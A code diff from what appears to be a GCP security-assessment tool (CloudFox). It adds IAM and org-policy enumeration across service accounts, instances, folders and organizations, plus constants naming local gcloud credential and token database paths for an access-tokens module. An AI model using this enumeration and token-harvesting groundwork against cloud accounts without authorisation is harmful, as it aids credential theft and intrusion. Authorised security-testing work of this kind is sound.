func New() *MemorystoreService {
|
||||
return &MemorystoreService{}
|
||||
return &MemorystoreService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *MemorystoreService {
|
||||
|
||||
@@ -16,7 +16,7 @@ type NetworkEndpointsService struct {
|
||||
}
|
||||
|
||||
func New() *NetworkEndpointsService {
|
||||
return &NetworkEndpointsService{}
|
||||
return &NetworkEndpointsService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *NetworkEndpointsService {
|
||||
|
||||
@@ -64,7 +64,7 @@ type NetwworkService struct {
|
||||
|
||||
// New creates a new NetworkService (legacy - uses ADC directly)
|
||||
func New() *NetwworkService {
|
||||
return &NetwworkService{}
|
||||
return &NetwworkService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
// NewWithSession creates a NetworkService with a SafeSession for managed authentication
|
||||
|
||||
@@ -15,7 +15,7 @@ type NotebooksService struct {
|
||||
}
|
||||
|
||||
func New() *NotebooksService {
|
||||
return &NotebooksService{}
|
||||
return &NotebooksService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *NotebooksService {
|
||||
|
||||
@@ -59,6 +59,21 @@ func (s *OAuthService) WhoAmI() (*Principal, error) {
|
||||
}, nil
|
||||
}
|
||||
|
||||
// WhoAmIWithToken resolves identity from an explicit access token instead of ADC.
|
||||
// This is used when --access-token or --key-file flags provide a session.
|
||||
func (s *OAuthService) WhoAmIWithToken(accessToken string) (*Principal, error) {
|
||||
tokenInfo, err := queryTokenInfo(accessToken)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to retrieve metadata of the token with error: %w", err)
|
||||
}
|
||||
|
||||
scopes := strings.Split(tokenInfo.Scope, " ")
|
||||
return &Principal{
|
||||
Email: tokenInfo.Email,
|
||||
Scope: scopes,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// queryTokenInfo function modified to return (*Principal, error).
|
||||
func queryTokenInfo(accessToken string) (*tokenInfoResponse, error) {
|
||||
url := fmt.Sprintf("https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=%s", accessToken)
|
||||
|
||||
@@ -17,7 +17,7 @@ type OrganizationsService struct {
|
||||
|
||||
// New creates a new OrganizationsService
|
||||
func New() *OrganizationsService {
|
||||
return &OrganizationsService{}
|
||||
return &OrganizationsService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
// NewWithSession creates an OrganizationsService with a SafeSession for managed authentication
|
||||
|
||||
@@ -15,7 +15,7 @@ type OrgPolicyService struct {
|
||||
}
|
||||
|
||||
func New() *OrgPolicyService {
|
||||
return &OrgPolicyService{}
|
||||
return &OrgPolicyService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *OrgPolicyService {
|
||||
@@ -35,6 +35,9 @@ type OrgPolicyInfo struct {
|
||||
Name string `json:"name"`
|
||||
Constraint string `json:"constraint"`
|
||||
ProjectID string `json:"projectId"`
|
||||
ScopeType string `json:"scopeType"` // "organization", "folder", or "project"
|
||||
ScopeID string `json:"scopeId"` // org/folder/project ID
|
||||
ScopeName string `json:"scopeName"` // display name
|
||||
Enforced bool `json:"enforced"`
|
||||
AllowAll bool `json:"allowAll"`
|
||||
DenyAll bool `json:"denyAll"`
|
||||
@@ -171,7 +174,7 @@ func (s *OrgPolicyService) ListProjectPolicies(projectID string) ([]OrgPolicyInf
|
||||
|
||||
err = service.Projects.Policies.List(parent).Pages(ctx, func(resp *orgpolicy.GoogleCloudOrgpolicyV2ListPoliciesResponse) error {
|
||||
for _, policy := range resp.Policies {
|
||||
info := s.parsePolicyInfo(policy, projectID)
|
||||
info := s.parsePolicyInfo(policy, "project", projectID, "")
|
||||
policies = append(policies, info)
|
||||
}
|
||||
return nil
|
||||
@@ -183,10 +186,107 @@ func (s *OrgPolicyService) ListProjectPolicies(projectID string) ([]OrgPolicyInf
|
||||
return policies, nil
|
||||
}
|
||||
|
||||
func (s *OrgPolicyService) parsePolicyInfo(policy *orgpolicy.GoogleCloudOrgpolicyV2Policy, projectID string) OrgPolicyInfo {
|
||||
// ListOrganizationPolicies lists all org policies for an organization
|
||||
func (s *OrgPolicyService) ListOrganizationPolicies(orgID, orgDisplayName string) ([]OrgPolicyInfo, error) {
|
||||
ctx := context.Background()
|
||||
|
||||
service, err := s.getService(ctx)
|
||||
if err != nil {
|
||||
return nil, gcpinternal.ParseGCPError(err, "orgpolicy.googleapis.com")
|
||||
}
|
||||
|
||||
var policies []OrgPolicyInfo
|
||||
parent := fmt.Sprintf("organizations/%s", orgID)
|
||||
|
||||
err = service.Organizations.Policies.List(parent).Pages(ctx, func(resp *orgpolicy.GoogleCloudOrgpolicyV2ListPoliciesResponse) error {
|
||||
for _, policy := range resp.Policies {
|
||||
info := s.parsePolicyInfo(policy, "organization", orgID, orgDisplayName)
|
||||
policies = append(policies, info)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
return nil, gcpinternal.ParseGCPError(err, "orgpolicy.googleapis.com")
|
||||
}
|
||||
|
||||
return policies, nil
|
||||
}
|
||||
|
||||
// ListFolderPolicies lists all org policies for a folder
|
||||
func (s *OrgPolicyService) ListFolderPolicies(folderID, folderDisplayName string) ([]OrgPolicyInfo, error) {
|
||||
ctx := context.Background()
|
||||
|
||||
service, err := s.getService(ctx)
|
||||
if err != nil {
|
||||
return nil, gcpinternal.ParseGCPError(err, "orgpolicy.googleapis.com")
|
||||
}
|
||||
|
||||
var policies []OrgPolicyInfo
|
||||
parent := fmt.Sprintf("folders/%s", folderID)
|
||||
|
||||
err = service.Folders.Policies.List(parent).Pages(ctx, func(resp *orgpolicy.GoogleCloudOrgpolicyV2ListPoliciesResponse) error {
|
||||
for _, policy := range resp.Policies {
|
||||
info := s.parsePolicyInfo(policy, "folder", folderID, folderDisplayName)
|
||||
policies = append(policies, info)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
return nil, gcpinternal.ParseGCPError(err, "orgpolicy.googleapis.com")
|
||||
}
|
||||
|
||||
return policies, nil
|
||||
}
|
||||
|
||||
// GetEffectivePolicy gets the effective (inherited + local) policy for a specific constraint at a given scope.
|
||||
// scopeType must be "project", "folder", or "organization".
|
||||
// constraint should be the short name (e.g., "compute.requireOsLogin").
|
||||
func (s *OrgPolicyService) GetEffectivePolicy(scopeType, scopeID, constraint string) (*OrgPolicyInfo, error) {
|
||||
ctx := context.Background()
|
||||
|
||||
service, err := s.getService(ctx)
|
||||
if err != nil {
|
||||
return nil, gcpinternal.ParseGCPError(err, "orgpolicy.googleapis.com")
|
||||
}
|
||||
|
||||
// Strip "constraints/" prefix if present
|
||||
constraint = strings.TrimPrefix(constraint, "constraints/")
|
||||
|
||||
var policy *orgpolicy.GoogleCloudOrgpolicyV2Policy
|
||||
|
||||
switch scopeType {
|
||||
case "project":
|
||||
name := fmt.Sprintf("projects/%s/policies/%s", scopeID, constraint)
|
||||
policy, err = service.Projects.Policies.GetEffectivePolicy(name).Context(ctx).Do()
|
||||
case "folder":
|
||||
name := fmt.Sprintf("folders/%s/policies/%s", scopeID, constraint)
|
||||
policy, err = service.Folders.Policies.GetEffectivePolicy(name).Context(ctx).Do()
|
||||
case "organization":
|
||||
name := fmt.Sprintf("organizations/%s/policies/%s", scopeID, constraint)
|
||||
policy, err = service.Organizations.Policies.GetEffectivePolicy(name).Context(ctx).Do()
|
||||
default:
|
||||
return nil, fmt.Errorf("unsupported scope type: %s", scopeType)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return nil, gcpinternal.ParseGCPError(err, "orgpolicy.googleapis.com")
|
||||
}
|
||||
|
||||
info := s.parsePolicyInfo(policy, scopeType, scopeID, "")
|
||||
return &info, nil
|
||||
}
|
||||
|
||||
func (s *OrgPolicyService) parsePolicyInfo(policy *orgpolicy.GoogleCloudOrgpolicyV2Policy, scopeType, scopeID, scopeName string) OrgPolicyInfo {
|
||||
info := OrgPolicyInfo{
|
||||
Name: policy.Name,
|
||||
ProjectID: projectID,
|
||||
ScopeType: scopeType,
|
||||
ScopeID: scopeID,
|
||||
ScopeName: scopeName,
|
||||
}
|
||||
|
||||
// Set ProjectID for backward compatibility when scope is project
|
||||
if scopeType == "project" {
|
||||
info.ProjectID = scopeID
|
||||
}
|
||||
|
||||
// Extract constraint name from policy name
|
||||
|
||||
@@ -15,7 +15,7 @@ type PubSubService struct {
|
||||
}
|
||||
|
||||
func New() *PubSubService {
|
||||
return &PubSubService{}
|
||||
return &PubSubService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *PubSubService {
|
||||
@@ -35,6 +35,7 @@ func (ps *PubSubService) getService(ctx context.Context) (*pubsub.Service, error
|
||||
type IAMBinding struct {
|
||||
Role string `json:"role"`
|
||||
Member string `json:"member"`
|
||||
Source string `json:"source"` // "Resource" (direct) or "Project" (inherited)
|
||||
}
|
||||
|
||||
// TopicInfo holds Pub/Sub topic details with security-relevant information
|
||||
|
||||
@@ -13,11 +13,13 @@ import (
|
||||
regionservice "github.com/BishopFox/cloudfox/gcp/services/regionService"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/BishopFox/cloudfox/internal/gcp/sdk"
|
||||
run "google.golang.org/api/run/v1"
|
||||
secretmanager "google.golang.org/api/secretmanager/v1"
|
||||
cloudfunctions "google.golang.org/api/cloudfunctions/v1"
|
||||
compute "google.golang.org/api/compute/v1"
|
||||
iam "google.golang.org/api/iam/v1"
|
||||
"google.golang.org/api/iterator"
|
||||
"google.golang.org/api/option"
|
||||
cloudfunctions "google.golang.org/api/cloudfunctions/v1"
|
||||
run "google.golang.org/api/run/v1"
|
||||
secretmanager "google.golang.org/api/secretmanager/v1"
|
||||
)
|
||||
|
||||
// ResourceIAMService handles enumeration of resource-level IAM policies
|
||||
@@ -27,7 +29,7 @@ type ResourceIAMService struct {
|
||||
|
||||
// New creates a new ResourceIAMService
|
||||
func New() *ResourceIAMService {
|
||||
return &ResourceIAMService{}
|
||||
return &ResourceIAMService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
// NewWithSession creates a ResourceIAMService with a SafeSession
|
||||
@@ -67,6 +69,22 @@ func (s *ResourceIAMService) getCloudRunService(ctx context.Context) (*run.APISe
|
||||
return run.NewService(ctx)
|
||||
}
|
||||
|
||||
// getIAMService returns a cached IAM service
|
||||
func (s *ResourceIAMService) getIAMService(ctx context.Context) (*iam.Service, error) {
|
||||
if s.session != nil {
|
||||
return sdk.CachedGetIAMService(ctx, s.session)
|
||||
}
|
||||
return iam.NewService(ctx)
|
||||
}
|
||||
|
||||
// getComputeService returns a cached Compute Engine service
|
||||
func (s *ResourceIAMService) getComputeService(ctx context.Context) (*compute.Service, error) {
|
||||
if s.session != nil {
|
||||
return sdk.CachedGetComputeService(ctx, s.session)
|
||||
}
|
||||
return compute.NewService(ctx)
|
||||
}
|
||||
|
||||
// ResourceIAMBinding represents an IAM binding on a specific resource
|
||||
type ResourceIAMBinding struct {
|
||||
ResourceType string `json:"resourceType"` // bucket, dataset, topic, secret, etc.
|
||||
@@ -129,6 +147,18 @@ func (s *ResourceIAMService) GetAllResourceIAM(ctx context.Context, projectID st
|
||||
allBindings = append(allBindings, runBindings...)
|
||||
}
|
||||
|
||||
// Get Service Account IAM
|
||||
saBindings, err := s.GetServiceAccountIAM(ctx, projectID)
|
||||
if err == nil {
|
||||
allBindings = append(allBindings, saBindings...)
|
||||
}
|
||||
|
||||
// Get Compute Instance IAM
|
||||
instanceBindings, err := s.GetComputeInstanceIAM(ctx, projectID)
|
||||
if err == nil {
|
||||
allBindings = append(allBindings, instanceBindings...)
|
||||
}
|
||||
|
||||
return allBindings, nil
|
||||
}
|
||||
|
||||
@@ -176,8 +206,8 @@ func (s *ResourceIAMService) GetBucketIAM(ctx context.Context, projectID string)
|
||||
ProjectID: projectID,
|
||||
Role: string(role),
|
||||
Member: member,
|
||||
MemberType: determineMemberType(member),
|
||||
MemberEmail: extractEmail(member),
|
||||
MemberType: DetermineMemberType(member),
|
||||
MemberEmail: ExtractEmail(member),
|
||||
IsPublic: isPublicMember(member),
|
||||
}
|
||||
bindings = append(bindings, binding)
|
||||
@@ -250,7 +280,7 @@ func (s *ResourceIAMService) GetBigQueryDatasetIAM(ctx context.Context, projectI
|
||||
memberType = "SpecialGroup"
|
||||
}
|
||||
case bigquery.IAMMemberEntity:
|
||||
memberType = determineMemberType(access.Entity)
|
||||
memberType = DetermineMemberType(access.Entity)
|
||||
isPublic = isPublicMember(access.Entity)
|
||||
}
|
||||
|
||||
@@ -266,7 +296,7 @@ func (s *ResourceIAMService) GetBigQueryDatasetIAM(ctx context.Context, projectI
|
||||
Role: string(access.Role),
|
||||
Member: member,
|
||||
MemberType: memberType,
|
||||
MemberEmail: extractEmail(member),
|
||||
MemberEmail: ExtractEmail(member),
|
||||
IsPublic: isPublic,
|
||||
}
|
||||
bindings = append(bindings, binding)
|
||||
@@ -319,8 +349,8 @@ func (s *ResourceIAMService) GetPubSubIAM(ctx context.Context, projectID string)
|
||||
ProjectID: projectID,
|
||||
Role: string(role),
|
||||
Member: member,
|
||||
MemberType: determineMemberType(member),
|
||||
MemberEmail: extractEmail(member),
|
||||
MemberType: DetermineMemberType(member),
|
||||
MemberEmail: ExtractEmail(member),
|
||||
IsPublic: isPublicMember(member),
|
||||
}
|
||||
bindings = append(bindings, binding)
|
||||
@@ -355,8 +385,8 @@ func (s *ResourceIAMService) GetPubSubIAM(ctx context.Context, projectID string)
|
||||
ProjectID: projectID,
|
||||
Role: string(role),
|
||||
Member: member,
|
||||
MemberType: determineMemberType(member),
|
||||
MemberEmail: extractEmail(member),
|
||||
MemberType: DetermineMemberType(member),
|
||||
MemberEmail: ExtractEmail(member),
|
||||
IsPublic: isPublicMember(member),
|
||||
}
|
||||
bindings = append(bindings, binding)
|
||||
@@ -398,7 +428,7 @@ func (s *ResourceIAMService) GetSecretManagerIAM(ctx context.Context, projectID
|
||||
|
||||
for _, secret := range allSecrets {
|
||||
// Get IAM policy for this secret
|
||||
policy, err := smService.Projects.Secrets.GetIamPolicy(secret.Name).Context(ctx).Do()
|
||||
policy, err := smService.Projects.Secrets.GetIamPolicy(secret.Name).OptionsRequestedPolicyVersion(3).Context(ctx).Do()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
@@ -413,8 +443,8 @@ func (s *ResourceIAMService) GetSecretManagerIAM(ctx context.Context, projectID
|
||||
ProjectID: projectID,
|
||||
Role: binding.Role,
|
||||
Member: member,
|
||||
MemberType: determineMemberType(member),
|
||||
MemberEmail: extractEmail(member),
|
||||
MemberType: DetermineMemberType(member),
|
||||
MemberEmail: ExtractEmail(member),
|
||||
IsPublic: isPublicMember(member),
|
||||
}
|
||||
if binding.Condition != nil {
|
||||
@@ -491,8 +521,8 @@ func (s *ResourceIAMService) GetKMSIAM(ctx context.Context, projectID string) ([
|
||||
ProjectID: projectID,
|
||||
Role: string(role),
|
||||
Member: member,
|
||||
MemberType: determineMemberType(member),
|
||||
MemberEmail: extractEmail(member),
|
||||
MemberType: DetermineMemberType(member),
|
||||
MemberEmail: ExtractEmail(member),
|
||||
IsPublic: isPublicMember(member),
|
||||
}
|
||||
bindings = append(bindings, binding)
|
||||
@@ -523,7 +553,7 @@ func (s *ResourceIAMService) GetCloudFunctionsIAM(ctx context.Context, projectID
|
||||
|
||||
for _, fn := range resp.Functions {
|
||||
// Get IAM policy for this function
|
||||
policy, err := cfService.Projects.Locations.Functions.GetIamPolicy(fn.Name).Context(ctx).Do()
|
||||
policy, err := cfService.Projects.Locations.Functions.GetIamPolicy(fn.Name).OptionsRequestedPolicyVersion(3).Context(ctx).Do()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
@@ -538,8 +568,8 @@ func (s *ResourceIAMService) GetCloudFunctionsIAM(ctx context.Context, projectID
|
||||
ProjectID: projectID,
|
||||
Role: binding.Role,
|
||||
Member: member,
|
||||
MemberType: determineMemberType(member),
|
||||
MemberEmail: extractEmail(member),
|
||||
MemberType: DetermineMemberType(member),
|
||||
MemberEmail: ExtractEmail(member),
|
||||
IsPublic: isPublicMember(member),
|
||||
}
|
||||
if binding.Condition != nil {
|
||||
@@ -573,7 +603,7 @@ func (s *ResourceIAMService) GetCloudRunIAM(ctx context.Context, projectID strin
|
||||
|
||||
for _, svc := range resp.Items {
|
||||
// Get IAM policy for this service
|
||||
policy, err := runService.Projects.Locations.Services.GetIamPolicy(svc.Metadata.Name).Context(ctx).Do()
|
||||
policy, err := runService.Projects.Locations.Services.GetIamPolicy(svc.Metadata.Name).OptionsRequestedPolicyVersion(3).Context(ctx).Do()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
@@ -588,8 +618,8 @@ func (s *ResourceIAMService) GetCloudRunIAM(ctx context.Context, projectID strin
|
||||
ProjectID: projectID,
|
||||
Role: binding.Role,
|
||||
Member: member,
|
||||
MemberType: determineMemberType(member),
|
||||
MemberEmail: extractEmail(member),
|
||||
MemberType: DetermineMemberType(member),
|
||||
MemberEmail: ExtractEmail(member),
|
||||
IsPublic: isPublicMember(member),
|
||||
}
|
||||
if binding.Condition != nil {
|
||||
@@ -605,9 +635,140 @@ func (s *ResourceIAMService) GetCloudRunIAM(ctx context.Context, projectID strin
|
||||
return bindings, nil
|
||||
}
|
||||
|
||||
// GetServiceAccountIAM enumerates IAM policies on service accounts
|
||||
func (s *ResourceIAMService) GetServiceAccountIAM(ctx context.Context, projectID string) ([]ResourceIAMBinding, error) {
|
||||
var bindings []ResourceIAMBinding
|
||||
|
||||
iamSvc, err := s.getIAMService(ctx)
|
||||
if err != nil {
|
||||
return nil, gcpinternal.ParseGCPError(err, "iam.googleapis.com")
|
||||
}
|
||||
|
||||
// List all service accounts in the project
|
||||
req := iamSvc.Projects.ServiceAccounts.List("projects/" + projectID)
|
||||
err = req.Pages(ctx, func(page *iam.ListServiceAccountsResponse) error {
|
||||
for _, sa := range page.Accounts {
|
||||
// Get IAM policy for this service account
|
||||
saResource := fmt.Sprintf("projects/%s/serviceAccounts/%s", projectID, sa.Email)
|
||||
policy, err := iamSvc.Projects.ServiceAccounts.GetIamPolicy(saResource).OptionsRequestedPolicyVersion(3).Context(ctx).Do()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
// Skip service accounts with no bindings
|
||||
if len(policy.Bindings) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, binding := range policy.Bindings {
|
||||
for _, member := range binding.Members {
|
||||
b := ResourceIAMBinding{
|
||||
ResourceType: "serviceAccount",
|
||||
ResourceName: saResource,
|
||||
ResourceID: sa.Email,
|
||||
ProjectID: projectID,
|
||||
Role: binding.Role,
|
||||
Member: member,
|
||||
MemberType: DetermineMemberType(member),
|
||||
MemberEmail: ExtractEmail(member),
|
||||
IsPublic: isPublicMember(member),
|
||||
}
|
||||
if binding.Condition != nil {
|
||||
b.HasCondition = true
|
||||
b.ConditionTitle = binding.Condition.Title
|
||||
b.ConditionExpression = binding.Condition.Expression
|
||||
}
|
||||
bindings = append(bindings, b)
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
return bindings, gcpinternal.ParseGCPError(err, "iam.googleapis.com")
|
||||
}
|
||||
|
||||
return bindings, nil
|
||||
}
|
||||
|
||||
// GetComputeInstanceIAM enumerates IAM policies on Compute Engine instances
|
||||
func (s *ResourceIAMService) GetComputeInstanceIAM(ctx context.Context, projectID string) ([]ResourceIAMBinding, error) {
|
||||
var bindings []ResourceIAMBinding
|
||||
|
||||
computeSvc, err := s.getComputeService(ctx)
|
||||
if err != nil {
|
||||
return nil, gcpinternal.ParseGCPError(err, "compute.googleapis.com")
|
||||
}
|
||||
|
||||
// List all instances across all zones using AggregatedList
|
||||
req := computeSvc.Instances.AggregatedList(projectID)
|
||||
err = req.Pages(ctx, func(page *compute.InstanceAggregatedList) error {
|
||||
for _, scopedList := range page.Items {
|
||||
for _, instance := range scopedList.Instances {
|
||||
// Extract zone from the instance's zone URL
|
||||
zone := extractZoneFromURL(instance.Zone)
|
||||
if zone == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
// Get IAM policy for this instance
|
||||
policy, err := computeSvc.Instances.GetIamPolicy(projectID, zone, instance.Name).OptionsRequestedPolicyVersion(3).Context(ctx).Do()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
// Skip instances with no bindings
|
||||
if len(policy.Bindings) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
resourceName := fmt.Sprintf("projects/%s/zones/%s/instances/%s", projectID, zone, instance.Name)
|
||||
for _, binding := range policy.Bindings {
|
||||
for _, member := range binding.Members {
|
||||
b := ResourceIAMBinding{
|
||||
ResourceType: "instance",
|
||||
ResourceName: resourceName,
|
||||
ResourceID: instance.Name,
|
||||
ProjectID: projectID,
|
||||
Role: binding.Role,
|
||||
Member: member,
|
||||
MemberType: DetermineMemberType(member),
|
||||
MemberEmail: ExtractEmail(member),
|
||||
IsPublic: isPublicMember(member),
|
||||
}
|
||||
if binding.Condition != nil {
|
||||
b.HasCondition = true
|
||||
b.ConditionTitle = binding.Condition.Title
|
||||
b.ConditionExpression = binding.Condition.Expression
|
||||
}
|
||||
bindings = append(bindings, b)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
return bindings, gcpinternal.ParseGCPError(err, "compute.googleapis.com")
|
||||
}
|
||||
|
||||
return bindings, nil
|
||||
}
|
||||
|
||||
// Helper functions
|
||||
|
||||
func determineMemberType(member string) string {
|
||||
// extractZoneFromURL extracts zone name from a full zone URL
|
||||
// e.g., "https://www.googleapis.com/compute/v1/projects/my-project/zones/us-central1-a" -> "us-central1-a"
|
||||
func extractZoneFromURL(zoneURL string) string {
|
||||
parts := strings.Split(zoneURL, "/")
|
||||
if len(parts) > 0 {
|
||||
return parts[len(parts)-1]
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// DetermineMemberType classifies an IAM member string into its type.
|
||||
func DetermineMemberType(member string) string {
|
||||
switch {
|
||||
case member == "allUsers":
|
||||
return "allUsers"
|
||||
@@ -630,7 +791,8 @@ func determineMemberType(member string) string {
|
||||
}
|
||||
}
|
||||
|
||||
func extractEmail(member string) string {
|
||||
// ExtractEmail strips the member type prefix from an IAM member string.
|
||||
func ExtractEmail(member string) string {
|
||||
if strings.Contains(member, ":") {
|
||||
parts := strings.SplitN(member, ":", 2)
|
||||
if len(parts) == 2 {
|
||||
|
||||
@@ -17,7 +17,7 @@ type SchedulerService struct{
|
||||
}
|
||||
|
||||
func New() *SchedulerService {
|
||||
return &SchedulerService{}
|
||||
return &SchedulerService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *SchedulerService {
|
||||
|
||||
@@ -91,6 +91,7 @@ func NewWithSession(session *gcpinternal.SafeSession) (SecretsService, error) {
|
||||
type IAMBinding struct {
|
||||
Role string `json:"role"`
|
||||
Members []string `json:"members"`
|
||||
Source string `json:"source"` // "Resource" (direct) or "Project" (inherited)
|
||||
}
|
||||
|
||||
// SecretInfo contains secret metadata and security-relevant configuration
|
||||
|
||||
@@ -15,7 +15,7 @@ type ServiceAgentsService struct{
|
||||
}
|
||||
|
||||
func New() *ServiceAgentsService {
|
||||
return &ServiceAgentsService{}
|
||||
return &ServiceAgentsService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *ServiceAgentsService {
|
||||
|
||||
@@ -15,7 +15,7 @@ type SourceReposService struct{
|
||||
}
|
||||
|
||||
func New() *SourceReposService {
|
||||
return &SourceReposService{}
|
||||
return &SourceReposService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *SourceReposService {
|
||||
|
||||
@@ -16,7 +16,7 @@ type SpannerEnumService struct {
|
||||
}
|
||||
|
||||
func New() *SpannerEnumService {
|
||||
return &SpannerEnumService{}
|
||||
return &SpannerEnumService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *SpannerEnumService {
|
||||
|
||||
@@ -15,7 +15,7 @@ type SpannerService struct {
|
||||
}
|
||||
|
||||
func New() *SpannerService {
|
||||
return &SpannerService{}
|
||||
return &SpannerService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *SpannerService {
|
||||
|
||||
@@ -15,7 +15,7 @@ type VPCService struct {
|
||||
}
|
||||
|
||||
func New() *VPCService {
|
||||
return &VPCService{}
|
||||
return &VPCService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *VPCService {
|
||||
|
||||
@@ -15,7 +15,7 @@ type VPCSCService struct {
|
||||
}
|
||||
|
||||
func New() *VPCSCService {
|
||||
return &VPCSCService{}
|
||||
return &VPCSCService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *VPCSCService {
|
||||
|
||||
@@ -15,7 +15,7 @@ type WorkloadIdentityService struct{
|
||||
}
|
||||
|
||||
func New() *WorkloadIdentityService {
|
||||
return &WorkloadIdentityService{}
|
||||
return &WorkloadIdentityService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *WorkloadIdentityService {
|
||||
|
||||
@@ -0,0 +1,79 @@
|
||||
package shared
|
||||
|
||||
// InheritedAccessRoles maps resource types to the project-level roles that
|
||||
// grant implicit access to ALL resources of that type. Principals with these
|
||||
// roles at the project level can access every resource even without a direct
|
||||
// resource-level IAM binding.
|
||||
var InheritedAccessRoles = map[string][]string{
|
||||
"bucket": {
|
||||
"roles/owner", "roles/editor",
|
||||
"roles/storage.admin", "roles/storage.objectAdmin",
|
||||
"roles/storage.objectViewer", "roles/storage.objectCreator",
|
||||
},
|
||||
"dataset": {
|
||||
"roles/owner", "roles/editor",
|
||||
"roles/bigquery.admin", "roles/bigquery.dataEditor",
|
||||
"roles/bigquery.dataViewer", "roles/bigquery.dataOwner",
|
||||
},
|
||||
"table": {
|
||||
"roles/owner", "roles/editor",
|
||||
"roles/bigquery.admin", "roles/bigquery.dataEditor",
|
||||
"roles/bigquery.dataViewer", "roles/bigquery.dataOwner",
|
||||
},
|
||||
"topic": {
|
||||
"roles/owner", "roles/editor",
|
||||
"roles/pubsub.admin", "roles/pubsub.editor", "roles/pubsub.publisher",
|
||||
},
|
||||
"subscription": {
|
||||
"roles/owner", "roles/editor",
|
||||
"roles/pubsub.admin", "roles/pubsub.editor", "roles/pubsub.subscriber",
|
||||
},
|
||||
"secret": {
|
||||
"roles/owner", "roles/editor",
|
||||
"roles/secretmanager.admin", "roles/secretmanager.secretAccessor",
|
||||
"roles/secretmanager.secretVersionAdder",
|
||||
},
|
||||
"cryptoKey": {
|
||||
"roles/owner",
|
||||
"roles/cloudkms.admin", "roles/cloudkms.cryptoKeyEncrypterDecrypter",
|
||||
"roles/cloudkms.cryptoKeyDecrypter",
|
||||
},
|
||||
"function": {
|
||||
"roles/owner", "roles/editor",
|
||||
"roles/cloudfunctions.admin", "roles/cloudfunctions.developer",
|
||||
"roles/cloudfunctions.invoker",
|
||||
},
|
||||
"cloudrun": {
|
||||
"roles/owner", "roles/editor",
|
||||
"roles/run.admin", "roles/run.developer", "roles/run.invoker",
|
||||
},
|
||||
"instance": {
|
||||
"roles/owner", "roles/editor",
|
||||
"roles/compute.admin", "roles/compute.instanceAdmin",
|
||||
"roles/compute.instanceAdmin.v1",
|
||||
},
|
||||
}
|
||||
|
||||
// IsInheritedRole checks whether the given role grants inherited access
|
||||
// for the specified resource type.
|
||||
func IsInheritedRole(resourceType, role string) bool {
|
||||
roles, ok := InheritedAccessRoles[resourceType]
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
for _, r := range roles {
|
||||
if r == role {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// BindingSource returns a display-ready binding source string.
|
||||
// If the source is empty, defaults to "Resource" (direct binding).
|
||||
func BindingSource(source string) string {
|
||||
if source == "" {
|
||||
return "Resource"
|
||||
}
|
||||
return source
|
||||
}
|
||||
+11
-4
@@ -86,7 +86,14 @@ var GCP_VERBOSITY int = 0
|
||||
const GCP_VERBOSE_ERRORS = 9
|
||||
|
||||
// const GCP_INVENTORY_MODULE_NAME string = "inventory"
|
||||
// const GCP_GCLOUD_REFRESH_TOKENS_DB_PATH = ".config/gcloud/credentials.db"
|
||||
// const GCP_GCLOUD_ACCESS_TOKENS_DB_PATH = ".config/gcloud/access_tokens.db"
|
||||
// const GCP_GCLOUD_DEFAULT_CONFIG_PATH = ".config/gcloud/configurations/config_default"
|
||||
// const GCP_GCLOUD_APPLICATION_DEFAULT_PATH = ".config/gcloud/application_default_credentials.json"
|
||||
|
||||
// Access tokens module
|
||||
const GCP_ACCESS_TOKENS_MODULE_NAME string = "access-tokens"
|
||||
|
||||
// Gcloud local file paths (relative to home or CLOUDSDK_CONFIG_DIR)
|
||||
const GCP_GCLOUD_REFRESH_TOKENS_DB_PATH = ".config/gcloud/credentials.db"
|
||||
